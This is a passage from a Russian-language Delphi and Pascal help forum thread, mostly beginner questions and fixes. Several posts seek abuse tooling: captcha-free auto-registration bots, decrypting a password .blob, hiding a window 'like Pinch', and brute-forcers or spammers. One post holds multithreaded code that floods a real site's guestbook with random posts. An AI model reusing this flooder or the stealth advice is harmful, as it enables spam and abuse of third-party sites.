имеется некая работающая прога, для которой необходимо отслеживать факт изменения картинки на экране (будет реализовано скорее всего через несколько последовательных вызовов GetPixel), считаем, что "картинка" меняется со случайными интервалами во времени.
Для конкретизирования примера пусть необходимо отслеживать наличие конкретной кнопки (изображения) в определенном месте браузера (допустим Explorer).
Вопрос:
как лучше отслеживать изменение картинки?
{грузить систему проверками по таймеру не хочется}

Larionich
28.09.2008, 01:16
eNGi, да, действительно, ты правильно мыслишь. Разумно нужно отказаться от вызовов GetPixel() (Если изображение не больше 320х240, а лучше и еще меньше). Чтобы разобраться прочти, работёнка тебе продстоит большая, написано много
http://forum.sources.ru/index.php?showtopic=240312&hl=
http://www.delphimaster.ru/articles/pixels/index.html
Вариант2. Использовать неуправляемую память куда будут помещены данные изображения, то работать всё будет быстро (в сети сам найдешь по этомой теме информацию поисковиком).
На С# же мелкомягкие предусмотрели функции System.Drawing.Imaging.BitmapData.Scan0() и System.Runtime.InteropServices.Marshal.Copy(), скорость использования которых выше, чем вызов GetPixel()и SetPixel().

KIR@PRO
28.09.2008, 12:38
может ктонибудь дать готовый пример Icq реализованный на компонентах и желательно (хотелось бы разобрать) реализацию на сокетах без компонентов.

желательно чтоб в примерах были все функции))

Зарание благодарю!
p.s. за помощь не обижу)

De-visible
28.09.2008, 12:46
может ктонибудь дать готовый пример Icq реализованный на компонентах и желательно (хотелось бы разобрать) реализацию на сокетах без компонентов.

желательно чтоб в примерах были все функции))

Зарание благодарю!
p.s. за помощь не обижу)
Карась тут выкладывал контрол для работы с этим протоколом, все исходные коды в архиве...
но правда он пишет на VB:)

KIR@PRO
28.09.2008, 13:25
ммм VB не очень люблю) хотелось бы на Delphi искал но ничего хорошего не нашел(


все нашел) кому надо вот: http://forum.asechka.ru/showthread.php?t=97186
там огромная темка про ето множество реализаций)

Larionich
28.09.2008, 14:23
KIR@PRO, есть очень хорошая статься (10 уроков) по написанию icq2000 в делфи http://www.delphisources.ru/pages/faq/base/icq2000_1.html . Реализация на компонентах http://www.delphiexpert.ru/view_download.php?id=89 . Так же прочитай, много полезного пишут http://forum.asechka.ru/showthread.php?t=97186

KIR@PRO
28.09.2008, 19:37
спасибо но возикает вопрос а там предусмотрено то что протокол Icq опять изменён???

Twiddle
28.09.2008, 19:37
Попробывал сделать с хотки но все бы хорошо но с игрой не работает. Блокнот закрывает. Все закрывает, но как только запускаешь игру - не хочет работать. Вообще ни как не реагирует.
В чем может быть дело? подскажите или придется все же делать хук? Тогда помогите с хуком ибо уже неделю не могу сделать.
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,
Tlhelp32;



type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);

private
{ Private declarations }
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;

public
{ Public declarations }
end;
const
hotkey1 = ord ('1');
hotkey2 = ord ('2');
hotkey3 = ord ('3');
hotkey4 = ord ('4');
hotkey5 = ord ('5');
hotkey6 = ord ('6');
hotkey7 = ord ('7');
hotkey8 = ord ('8');
hotkey9 = ord ('9');
hotkey10 = ord('0');

var
Form1: TForm1;



implementation

{$R *.dfm}


function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeF ile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;

function EnumMiniProc (Wd: HWnd; Param: LongInt): Boolean; stdcall; // Îáÿçàòåëüíî stdcall !!!
Begin
If Wd<>Form1.Handle then // åñëè ýòî íå íàøà ïðîãðàììà
If IsWindowVisible(WD) then // åñëè îêíî âèäèìî
If not IsIconic(WD) then // åñëè îêíî íå ñâåðíóòî
If isWindow(WD) then // è âîîáùå ýòî - îêíî.
ShowWindow(WD, SW_MINIMIZE); // ñâåðíåì åãî.

end;

procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
EnumWindows (@EnumMiniProc, 0); // îòðàáàòûâàåì ñâîðà÷èâàíèå îêîí.
Sleep(1000);
KillTask('CabalMain.exe');

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Form1.Handle, 1,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey1);
RegisterHotKey(Form1.Handle, 2,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey2);
RegisterHotKey(Form1.Handle, 3,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey3);
RegisterHotKey(Form1.Handle, 4,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey4);
RegisterHotKey(Form1.Handle, 5,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey5);
RegisterHotKey(Form1.Handle, 6,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey6);
RegisterHotKey(Form1.Handle, 7,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey7);
RegisterHotKey(Form1.Handle, 8,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey8);
RegisterHotKey(Form1.Handle, 9,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey9);
RegisterHotKey(Form1.Handle, 10,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey10);

end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Form1.Handle,1);
RegisterHotKey(Form1.Handle, 2,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey2);
RegisterHotKey(Form1.Handle, 3,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey3);
RegisterHotKey(Form1.Handle, 4,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey4);
RegisterHotKey(Form1.Handle, 5,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey5);
RegisterHotKey(Form1.Handle, 6,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey6);
RegisterHotKey(Form1.Handle, 7,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey7);
RegisterHotKey(Form1.Handle, 8,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey8);
RegisterHotKey(Form1.Handle, 9,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey9);
RegisterHotKey(Form1.Handle, 10,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey10);

end;

end.

slesh
29.09.2008, 09:12
Как вариант просто игра может отрубать все хоткеи. Что часто и делается. По этому нужно копать в сторону снятие этой херни

diznt
29.09.2008, 23:00
Народ киньте плз исходники авто-регеров к примеру на любом дфиге без капчи

(делфи)

спасибо!

eNGi
30.09.2008, 02:30
Попробывал сделать с хотки но все бы хорошо но с игрой не работает. Блокнот закрывает. Все закрывает, но как только запускаешь игру - не хочет работать. Вообще ни как не реагирует.
В чем может быть дело? подскажите или придется все же делать хук? Тогда помогите с хуком ибо уже неделю не могу сделать.

У меня твой код работал со всеми установленными игрушками, так что проверяй версию, что твоя прога (game) устанавливает свои хоткеи или сбрасывает существующие Как вариант просто игра может отрубать все хоткеи.
А может хоткей срабатывает, а твоя прога просто приложение завершить не могет?
По созданию глобального хука отправил пример в личку.

Syntaxys
30.09.2008, 20:09
Прошу помочь в постижении азов программирвания. Сделать надо на Паскале, чем проще , тем лучше.
Дано: ax^2 + bx +c =0
Найти корни.

Вот что получается:
Program discriminant;
Var G, f, d, i, k, l,n: integer;
M,O: real;
Begin readln (G, f, d, i)
G:=SQR(b);
f:=4*a;
d:=f*c;
i:=g-d;
if g>d;
then k:=-b;
l:=K+SQRT(i;
n:=K-SQRT(i;
m:=l/2;
o:=l/2;
writeln (M, O)
else writeln (No decision)
end.

Пробовал прогонять сие безобразие в Pascal ABC. Пишет " Ошибка: ожидался идентификатор, но "G" не обнаружено. Прошу подсказать в чем ошибка.

De-visible
30.09.2008, 20:19
мда....

De-visible
30.09.2008, 20:26
Писал закрытыми глазами?
Странно, что компилятор не лопнул....

Итак начнем :D :

1)После readln забыл точку с запятой...
2) a,b,c: не описаны(var a,b,c:real или integer)
3)После if g>d точку с запятой не надо...
4)l:=K+SQRT(i; забыл скобку закрыть
5)Дальше тоже чепуха...

Syntaxys
30.09.2008, 20:57
Писал закрытыми глазами?
Только начал изучать и в первый раз :p


Итак начнем :D :

1)После readln забыл точку с запятой...
2) a,b,c: не описаны(var a,b,c:real или integer)
3)После if g>d точку с запятой не надо...
4)l:=K+SQRT(i; забыл скобку закрыть
5)Дальше тоже чепуха...
1, 2, 3, 4 разобрался. Никак не могу воткнуть как правильно записать оператор ветвления :confused:

Теперь компилятор ругается на ";" перед else в операторе if.

Program discriminant;
Var G, f, d, i, k, l, n, a, b, c, M, o: real;
Begin readln (G, f, d, i);
G:=SQR(b);
f:=4*a;
d:=f*c;
i:=g-d;
if g>d
then
k:=-b;
l:=K+SQRT(i);
n:=K-SQRT(i);
m:=l/2;
o:=l/2;
writeln (M, O);
else writeln (No decision)
end.

bons
30.09.2008, 22:50
Теперь компилятор ругается на ";" перед else в операторе if.

это потому что там не надо ";" как ни странно:))))

eNGi
30.09.2008, 23:16
if g>d
then
k:=-b;
l:=K+SQRT(i);
n:=K-SQRT(i);
m:=l/2;
o:=l/2;
writeln (M, O);
else writeln (No decision)
end.

Условие в общем случае описывается:

if (условие_истинно) then действие_1
else действие_2;

или в операторных скобках begin end, если необходимо выполнить несколько действий сразу:

if (условие_истинно) then
begin
действие_1;
действие_2;
действие_3;
end
else
begin
действие_1;
действие_3;
end;
Перед "else" " ; " не ставится, а если хочешь во "WriteLn(No decision)" вывести текст, то необходимо заключить его в кавычки
WriteLn('No decision');
Это по синтаксису... Кажется так :) , а также задумайся о книжке по Паскалю.
С математикой сам разберешься.

t04
30.09.2008, 23:37
WinApi:
необходимо переместить курсор в мемо на самую последнюю строку не зная заренее количество строк.

mfcn
01.10.2008, 00:16
Syntaxys
ИМХО темой ошибся. Лучше, наверное было бы сюда (http://forum.antichat.ru/thread42678.html)

Вот решение:

program descriminant;
var a,b,c,D:real;
begin
writeln('Solving a*x^2+b*x+c=0');
write('Input a=');
readln(a);
write('Input b=');
readln(b);
write('Input c=');
readln(c);
D:=b*b-4*a*c;
if D<0 then writeln('D<0 where are no solutions')
else if D=0 then writeln('Solution is x1=',-b/2/a)
else
begin
writeln('First solution is x1=',(-b+sqrt(D))/2/a);
writeln('Second solution is x2=',(-b-sqrt(D))/2/a);
end;
end.

bons
01.10.2008, 00:51
WinApi:
необходимо переместить курсор в мемо на самую последнюю строку не зная заренее количество строк.

вроде работает

SendMessage(memo1.Handle,EM_SETSEL,0,-1);
SendMessage(memo1.Handle,EM_SETSEL,-1,0);
SetFocus(memo1.Handle);

omen-6-6-6
01.10.2008, 16:01
как сделать на дэлфи чтобы из программы можно было отправлять сообщение на мыло?

Jes
01.10.2008, 16:12
https://forum.antichat.ru/thread64446.html

Syntaxys
01.10.2008, 19:02
if (условие_истинно) then
begin
действие_1;
действие_2;
действие_3;
end
else
begin
действие_1;
действие_3;
end;


После первого end требует точки, которую, соответственно ставить нельзя.

mfcn, спасибо большое, но мне нужно не готовое халявное решение, а разобраться самому + код чем проще тем лучше, можно за счет "техничности", размера и тд. То есть больше переменных меньше операторов. Другой свой вопрос задам по ссылке приведенной Вами выше.

Syntaxys
01.10.2008, 19:14
Все разобрался кажись. Всем спасибо =)

_nic
02.10.2008, 19:19
Можно как то текст в ListBox добавить табуляцию?

eNGi
02.10.2008, 20:20
Можно как то текст в ListBox добавить табуляцию?
Вообще-то мало что понял, но по ключевым словам в DelphiWorld'e можешь найти следующее:

В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):

ListBox1.Items.Add('Колонка1'^I'Колон а2');

Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:

with ListBox do
begin
W := Canvas.TextWidth(Str);
if W > TabWidth then
TabWidth := W;
end;

QEMATRIEL
03.10.2008, 15:25
Подскажите, если вот есть переменная mass[0..50] of string то как можно обратится к конкретному символу в каком нибудь элементе массива?

De-visible
03.10.2008, 15:31
Подскажите, если вот есть переменная mass[0..50] of string то как можно обратится к конкретному символу в каком нибудь элементе массива?

Вопроса не понял...

Допустим массив:

mass: array [0..50] of string

Обратиться к I - тому элементу mass[i].

slesh
03.10.2008, 15:42
дык если
mas:array [0..50] of string;
тогда
mas[x][y]:='z';
где х - элемент массива. От 0 до 50
а Y - символ строки. От 1 до length()

ronald
05.10.2008, 11:27
помогите плиз, как встроить в прогу на делфи проигрывание mp3 файла вне зависимости от того, хочет ли этого юзер. Т.е. что-то вроде музыкальной темы, также нужно, чтобы заново проигрывался файл и заново, и заново...

W!z@rD
05.10.2008, 12:38
копай в сторону bass.dll

cremator (c)
05.10.2008, 14:13
Добавляешь компонент медиапроигрыватель(точно название не помню) и выставляешь в нем параметры где файл находится и т.д.

_nic
05.10.2008, 18:51
А как в ListBox для определенного итема определенную иконку запхнуть?

W!z@rD
05.10.2008, 21:32
юзай ListView

_nic
05.10.2008, 21:50
юзай ListView
А где можно почитать о том как его юзать.А то в BDS 2006 справка чисто содрана копипастом с мсдн и про борланлские компоненты там почти не слова.

diznt
06.10.2008, 02:24
Народ имееться файл формата .blob мне нужно его расшифровать как это сделать с помощью делфи??? там в файле храняться пароли а если открыть текстовиком то там будут миллион строк!

cremator (c)
06.10.2008, 02:38
Файл текстовый? Или че эт за формат?

_nic
06.10.2008, 20:57
Ну так кто то все таки знает как в канву листбокса выводить рисунок подгруженный из ресурсов с помощью TBitmap ?

diznt
06.10.2008, 23:05
cremator (c) вот это я и спрашиваю приблизительно

И еще вопрос.....
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча

De-visible
06.10.2008, 23:26
cremator (c) вот это я и спрашиваю приблизительно

И еще вопрос.....
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча
можно сделать его просто невидимы, но нужна ли тебе вообще форма?
Лучше создай консольный проект и формы вообще не будет.=)

bons
06.10.2008, 23:35
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча

для этого достаточно не создавать окна. Если же надо его скрыть:

http://www.codenet.ru/progr/delphi/vcl_faq/072.php

diznt
06.10.2008, 23:35
bons спасибо помогло Application.ShowMainForm := False;

+ в репу тебе!

-slim-
24.10.2008, 21:04
пишу ...точнее пытаюсь написать программу на турбо паскаль, ну чет не получается, помогите, че исправить над, буду благодарен вот код:

program Week;
var U, R : integer;
label ukr, rus;
begin
writeln('Виберіть мову/Выберите язык: U - українська; R - русский');
read(U,R);
UKR:function UKR (var x : integer);
begin
writeln('Введіть число [день тижня]:');
read(x);
write('День - ');
case x of
1:Write ('Понеділок, ');
2:Write ('Вівторок, ');
3:Write ('Середа, ');
4:Write ('Четвер, ');
5:Write ('Пятниця, ');
6:Write ('Субота, ');
7:Write ('Неділя, ');
else writeln('не вибраний! В тижні сім днів! Вибиріть число від 1 до 7!');
end;
case x of
1:Write ('перший день робочого тижня!');
2:Write ('другий');
3:Write ('третій');
4:Write ('четветрий');
5:Write ('п''''ятий');
6:Write ('шостий');
7:Write ('сьомий');
end;
if x=1 then writeln(' день робочого тижня! ');
if x=2 then writeln(' день робочого тижня! ');
if x=3 then writeln(' день робочого тижня! ');
if x=4 then writeln(' день робочого тижня! ');
if x=5 then writeln(' день робочого тижня! ');
if x=6 then writeln(' день робочого тижня! ');
if x=7 then writeln(' день робочого тижня! ');

writeln('Кротка замітка:');
if x=1 then writeln('опис');
if x=2 then writeln('опис');
if x=3 then writeln('опис');
if x=4 then writeln('опис');
if x=5 then writeln('опис');
if x=6 then writeln('опис');
if x=7 then writeln('опис');
end;
RUS:function RUS (var x : integer);
begin
writeln('Введите число [день недели]:');
read(x);
write('День - ');
case x of
1:Write ('Понедельник, ');
2:Write ('Вторник, ');
3:Write ('Среда, ');
4:Write ('Четверг, ');
5:Write ('Пятница, ');
6:Write ('Суббота, ');
7:Write ('Воскресенье, ');
else writeln('не выбран! В неделе семь дней! Выберите число от 1 до 7!');
end;
case x of
1:Write ('первый');
2:Write ('второй');
3:Write ('третий');
4:Write ('четвертый');
5:Write ('пятый');
6:Write ('шестой');
7:Write ('седьмой');
end;
if x=1 then writeln(' день недели! ');
if x=2 then writeln(' день недели! ');
if x=3 then writeln(' день недели! ');
if x=4 then writeln(' день недели! ');
if x=5 then writeln(' день недели! ');
if x=6 then writeln(' день недели! ');
if x=7 then writeln(' день недели! ');

writeln('Заметка:');
if x=1 then writeln('Понедельник....описани ');
if x=2 then writeln('Вторник........описание');
if x=3 then writeln('Среда..........описание');
if x=4 then writeln('Четверг........описание');
if x=5 then writeln('Пятница........описание');
if x=6 then writeln('Суббота........описание');
if x=7 then writeln('Воскресенье....описани ');
end;
if read(U) then goto ukr else writeln(Error);
if read(R) then goto rus else writeln(Error);
end.

-slim-
24.10.2008, 21:10
и еще один вопрос, допустим я пишу программу, ввести например цифру одну из 5 тоесть либо 1 либо 2 и т.д до 5, ставлю условие,как сделать так, чтоб когда срабатывало else, было выведено то значение, котороя я вводил, тоесть я вписал 6, сработало елсе, ну например "введите цифру от 1 до 5 а не "N" " - так вот, n - это 6, а как сделать шоб оно выводило его, если пользователь напишет там 125 и т.д.

De-visible
25.10.2008, 11:46
Народ почему у мя не отпр. массаги от ICQ ??? (компонент от оскара вроде)
Кто сталкивался?
Это не форум экстрасенсов , иди учись правильно задавать вопросы..

=========

пишу ...точнее пытаюсь написать программу на турбо паскаль, ну чет не получается, помогите, че исправить над, буду благодарен вот код:

Там код чепуха полная...

Sinay
25.10.2008, 14:19
и еще один вопрос, допустим я пишу программу, ввести например цифру одну из 5 тоесть либо 1 либо 2 и т.д до 5, ставлю условие,как сделать так, чтоб когда срабатывало else, было выведено то значение, котороя я вводил, тоесть я вписал 6, сработало елсе, ну например "введите цифру от 1 до 5 а не "N" " - так вот, n - это 6, а как сделать шоб оно выводило его, если пользователь напишет там 125 и т.д.
case of-оператор выбора,посмотри

diznt
25.10.2008, 17:37
De-visible и не форум школы где учаться и указывают

cremator (c)
25.10.2008, 22:00
Че то не могу вспомнить.. Вот мне в процессе выполнения надо создать новый компонент, будь то любой батон, или едит ..)

bons
25.10.2008, 23:40
Че то не могу вспомнить.. Вот мне в процессе выполнения надо создать новый компонент, будь то любой батон, или едит ..)

var button:TButton;
begin
button:=TButton.Create(self);
with button do begin
Top:=50;
Left:=50;
Visible:=true;
Parent:=Form1;
Caption:='button';
Height:=70;
Width:=70;
end;
end;

diznt
26.10.2008, 04:43
Знающие люди подскажите в чем моя ошибка?
Пишу флудер для гостевухи... (особо ее не флудить... я так для набива рук написал)

Это потоки:

procedure Fluder.Execute;
var
list:TStringList;
a,b,c,d,e,r:string;
begin
randomize;
a:='оаыве';
b:='нецйг';
c:='зъхлр';
d:='кунуй';
e:='иьпар';
r:=a[Random(Length(a))]+b[Random(Length(b))]+d[Random(Length(c))]+e[Random(Length(e))]+c[Random(Length(c))];
idhttp1.Create(nil);
list:=TStringList.Create;
list.Add('name='+r);
list.Add('txt='+r);
list.Add('send=1');
IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);
list.Free;
end;

procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
begin
Handled:= TRUE;
end;

Это форма:

procedure TForm1.Button1Click(Sender: TObject);
var
i,count:integer;
Potoki:array of fluder;
begin
count:=strtoint(edit1.Text);
SetLength(Potoki,count);
for i:=0 to count-1 do
begin
Potoki[i]:=fluder.Create(true);
Potoki[i].resume;
Potoki[i].Priority:= tpLower;
end;
end;

Ругаеться на строку idhttp1.Create(nil); (в потоках) когда я жмякаю на кнопку (на форме)

ЗЫ особо не ругайте за мой тупой рандомайз/рандом

W!z@rD
26.10.2008, 15:35
idhttp1:=idhttp1.Create(nil);

cylaaaan
26.10.2008, 16:23
Как в потоки передавать параметры?
Что-то типа брутера, спамера

diznt
26.10.2008, 16:32
W!z@rD не хочет...
все такая же ошибка... даже делал idhttp1:=Tidhttp1.create(nil);

cylaaaan
26.10.2008, 16:40
попробуй без idhttp1:=Tidhttp1.create(nil);

bons
26.10.2008, 17:04
все такая же ошибка... даже делал idhttp1:=Tidhttp1.create(nil);

а вот так: idhttp1:=Tidhttp1.create(self);

diznt
26.10.2008, 17:11
bons аж не комплируеться
cylaaaan смысла тода вообще нету....